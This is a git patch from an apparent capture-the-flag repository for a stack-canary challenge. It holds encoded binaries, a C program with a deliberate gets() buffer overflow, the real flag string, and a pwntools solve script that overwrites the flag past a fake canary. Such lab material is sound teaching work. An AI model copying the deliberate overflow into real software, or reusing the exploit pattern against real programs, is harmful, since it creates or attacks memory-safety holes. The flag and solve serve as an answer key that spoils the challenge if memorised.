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 literal 0 HcmV?d00001 diff --git a/canary-keeper-0/chall.c b/canary-keeper-0/chall.c new file mode 100644 index 0000000..ae6f66c --- /dev/null +++ b/canary-keeper-0/chall.c @@ -0,0 +1,36 @@ +#include +#include + +#define CANARY_VALUE "canary\0" +#define FLAG_VALUE "bcactf{s1mple_CANaRY_9b36bd9f3fd2f}\0" + +int check_canary(const char* canary) { + return strcmp(canary, CANARY_VALUE) == 0; +} + +int check_flag(const char* flag) { + return strcmp(flag, FLAG_VALUE) == 0; +} + +int main() { + char flag[64] = FLAG_VALUE; + char canary[7] = CANARY_VALUE; + char buffer[64]; + + printf("Enter a string: "); + gets(buffer); + + if (!check_canary(canary)) { + printf("Buffer overflow detected!\n"); + return 1; + } + + if (check_flag(flag)) { + printf("No changes in flag detected!\n"); + return 1; + } + + printf("Flag: %s\n", FLAG_VALUE); + + return 0; +} \ No newline at end of file diff --git a/canary-keeper-0/provided.c b/canary-keeper-0/provided.c new file mode 100644 index 0000000..200bc9c --- /dev/null +++ b/canary-keeper-0/provided.c @@ -0,0 +1,36 @@ +#include +#include + +#define CANARY_VALUE "canary\0" +#define FLAG_VALUE "FLAG\0" + +int check_canary(const char* canary) { + return strcmp(canary, CANARY_VALUE) == 0; +} + +int check_flag(const char* flag) { + return strcmp(flag, FLAG_VALUE) == 0; +} + +int main() { + char flag[64] = FLAG_VALUE; + char canary[7] = CANARY_VALUE; + char buffer[64]; + + printf("Enter a string: "); + gets(buffer); + + if (!check_canary(canary)) { + printf("Buffer overflow detected!\n"); + return 1; + } + + if (check_flag(flag)) { + printf("No changes in flag detected!\n"); + return 1; + } + + printf("Flag: %s\n", FLAG_VALUE); + + return 0; +} \ No newline at end of file diff --git a/canary-keeper-0/solve.py b/canary-keeper-0/solve.py new file mode 100644 index 0000000..6990a4a --- /dev/null +++ b/canary-keeper-0/solve.py @@ -0,0 +1,7 @@ +from pwn import * + +p = process('./a.out') + +p.sendline(b'A'*73+b'canary\0'+b'test') +flag = p.recvall() +print(flag.decode()) \ No newline at end of file From 7046d4d89bc165f1e8534d580efae52be023bf12 Mon Sep 17 00:00:00 2001 From: Jack-Crowley Date: Sun, 2 Jun 2024 22:18:04 -0400 Subject: [PATCH 2/7] make chall --- canary-keeper-0/a.exe | Bin 137700 -> 0 bytes canary-keeper-0/a.out | Bin 16896 -> 0 bytes canary-keeper-0/chall.yaml | 16 ++++++++++++++++ 3 files changed, 16 insertions(+) delete mode 100644 canary-keeper-0/a.exe delete mode 100644 canary-keeper-0/a.out create mode 100644 canary-keeper-0/chall.yaml diff --git a/canary-keeper-0/a.exe b/canary-keeper-0/a.exe deleted file mode 100644 index 73638c015f42af17b077ce6c32880bc65ba3f74c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 137700 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 